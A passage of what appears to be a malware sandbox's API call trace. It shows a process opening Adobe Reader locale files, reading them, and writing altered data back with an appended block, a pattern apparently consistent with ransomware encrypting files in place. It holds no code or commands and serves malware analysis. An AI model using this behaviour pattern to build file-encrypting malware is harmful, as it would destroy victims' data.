lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.582] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xe00 [0044.582] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.582] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.582] ReleaseMutex (hMutex=0x128) returned 1 [0044.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.HRV", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0044.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.HRV", cchWideChar=8, lpMultiByteStr=0x1e6324c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.HRV", lpUsedDefaultChar=0x0) returned 8 [0044.582] ReadFile (in: hFile=0x170, lpBuffer=0x2733c38, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2733c38*, lpNumberOfBytesRead=0x304f2bc*=0xe00, lpOverlapped=0x0) returned 1 [0044.938] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0044.938] WriteFile (in: hFile=0x170, lpBuffer=0x1dadf08*, nNumberOfBytesToWrite=0x1388, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dadf08*, lpNumberOfBytesWritten=0x304f2d0*=0x1388, lpOverlapped=0x0) returned 1 [0044.938] CloseHandle (hObject=0x170) returned 1 [0044.938] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\SendMail.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\sendmail.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0044.939] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.939] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x3c00 [0044.939] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.939] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.939] ReleaseMutex (hMutex=0x128) returned 1 [0044.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.HRV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0044.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.HRV", cchWideChar=12, lpMultiByteStr=0x1e6322c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.HRV", lpUsedDefaultChar=0x0) returned 12 [0044.939] ReadFile (in: hFile=0x170, lpBuffer=0x1dadf08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1dadf08*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.940] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2c00 [0044.940] ReadFile (in: hFile=0x170, lpBuffer=0x1dadf08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1dadf08*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.941] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2c00 [0044.941] WriteFile (in: hFile=0x170, lpBuffer=0x1dadf08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dadf08*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.941] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0044.941] WriteFile (in: hFile=0x170, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.942] CloseHandle (hObject=0x170) returned 1 [0044.942] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\BRdlang32.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\brdlang32.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0044.942] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.942] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x3400 [0044.942] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.942] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.942] ReleaseMutex (hMutex=0x128) returned 1 [0044.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.HUN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0044.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.HUN", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.HUN", lpUsedDefaultChar=0x0) returned 13 [0044.942] ReadFile (in: hFile=0x170, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.944] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2400 [0044.944] ReadFile (in: hFile=0x170, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.961] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2400 [0044.961] WriteFile (in: hFile=0x170, lpBuffer=0x2619c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2619c78*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.961] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0044.961] WriteFile (in: hFile=0x170, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.962] CloseHandle (hObject=0x170) returned 1 [0044.962] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\PPKLite.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\ppklite.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0044.962] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.962] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x82000 [0044.962] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.962] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.962] ReleaseMutex (hMutex=0x128) returned 1 [0044.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0044.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.HUN", cchWideChar=11, lpMultiByteStr=0x1e6334c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.HUN", lpUsedDefaultChar=0x0) returned 11 [0044.962] ReadFile (in: hFile=0x170, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0044.972] ReadFile (in: hFile=0x170, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.979] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x81000 [0044.979] ReadFile (in: hFile=0x170, lpBuffer=0x2771158, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2771158*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.987] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x81000 [0044.987] WriteFile (in: hFile=0x170, lpBuffer=0x25c74d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c74d8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.988] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0044.988] WriteFile (in: hFile=0x170, lpBuffer=0x3a26d98*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a26d98*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0044.988] WriteFile (in: hFile=0x170, lpBuffer=0x3a26d98*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a26d98*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.988] CloseHandle (hObject=0x170) returned 1 [0044.988] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\updater.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\updater.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0044.988] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.989] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x2800 [0044.989] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.989] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.989] ReleaseMutex (hMutex=0x128) returned 1 [0044.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0044.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.HUN", cchWideChar=11, lpMultiByteStr=0x1e6302c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.HUN", lpUsedDefaultChar=0x0) returned 11 [0044.989] ReadFile (in: hFile=0x170, lpBuffer=0x2771158, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2771158*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.011] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1800 [0045.011] ReadFile (in: hFile=0x170, lpBuffer=0x2771158, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2771158*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.026] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1800 [0045.026] WriteFile (in: hFile=0x170, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.027] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0045.027] WriteFile (in: hFile=0x170, lpBuffer=0x2771158*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2771158*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.027] CloseHandle (hObject=0x170) returned 1 [0045.027] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\eBook.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\ebook.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0045.028] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.028] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1a00 [0045.028] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.028] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.028] ReleaseMutex (hMutex=0x128) returned 1 [0045.028] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.ITA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0045.028] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.ITA", cchWideChar=9, lpMultiByteStr=0x1e631ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.ITA", lpUsedDefaultChar=0x0) returned 9 [0045.028] ReadFile (in: hFile=0x170, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x304f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0045.040] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0045.040] WriteFile (in: hFile=0x170, lpBuffer=0x25c74d8*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c74d8*, lpNumberOfBytesWritten=0x304f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0045.040] CloseHandle (hObject=0x170) returned 1 [0045.040] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\SaveAsRTF.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\saveasrtf.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0045.041] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.041] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x4a00 [0045.041] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.041] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.041] ReleaseMutex (hMutex=0x128) returned 1 [0045.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.ITA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0045.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.ITA", cchWideChar=13, lpMultiByteStr=0x1e6320c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.ITA", lpUsedDefaultChar=0x0) returned 13 [0045.041] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.051] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x3a00 [0045.052] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.059] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x3a00 [0045.059] WriteFile (in: hFile=0x170, lpBuffer=0x2619c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2619c78*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.059] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0045.059] WriteFile (in: hFile=0x170, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.059] CloseHandle (hObject=0x170) returned 1 [0045.059] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\AdobeCollabSync.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\adobecollabsync.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0045.060] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.060] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1a00 [0045.060] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.060] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.060] ReleaseMutex (hMutex=0x128) returned 1 [0045.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.JPN", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0045.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.JPN", cchWideChar=19, lpMultiByteStr=0x1e7894c, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.JPN", lpUsedDefaultChar=0x0) returned 19 [0045.060] ReadFile (in: hFile=0x170, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x304f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0045.067] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0045.067] WriteFile (in: hFile=0x170, lpBuffer=0x261bca8*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261bca8*, lpNumberOfBytesWritten=0x304f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0045.067] CloseHandle (hObject=0x170) returned 1 [0045.067] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Multimedia.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\multimedia.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0045.068] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.068] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xf200 [0045.068] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.068] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.068] ReleaseMutex (hMutex=0x128) returned 1 [0045.068] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.JPN", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0045.068] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.JPN", cchWideChar=14, lpMultiByteStr=0x1e6338c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.JPN", lpUsedDefaultChar=0x0) returned 14 [0045.068] ReadFile (in: hFile=0x170, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0045.079] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xe200 [0045.080] ReadFile (in: hFile=0x170, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, 